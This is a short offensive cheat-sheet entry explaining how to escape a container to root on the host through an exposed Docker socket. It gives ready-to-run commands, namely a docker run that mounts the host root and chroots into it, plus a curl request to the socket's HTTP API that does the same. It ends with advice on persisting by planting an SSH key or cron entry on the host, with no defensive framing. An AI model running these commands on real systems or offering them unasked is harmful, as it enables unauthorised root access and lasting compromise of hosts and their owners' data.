Break out of a container through the Docker socket

If /var/run/docker.sock is exposed to your user or inside a container, you control the Docker daemon, which runs as root on the host. Launch a container that mounts the host root and chroot into it.

# membership in the docker group or a mounted socket is enough
docker run -v /:/host --rm -it alpine chroot /host sh
# you are now root on the underlying host

Without the docker client, talk to the socket directly over its HTTP API.

curl -s --unix-socket /var/run/docker.sock -X POST 
 "http://localhost/containers/create" -H 'Content-Type: application/json' 
 -d '{"Image":"alpine","Cmd":["chroot","/host","sh"],"HostConfig":{"Binds":["/:/host"]}}'

Pro note: the same primitive applies to an exposed containerd or CRI socket, and to a privileged container where you can mount the host disk device directly. Persist by writing an SSH key or cron entry into the mounted host, not inside the ephemeral container.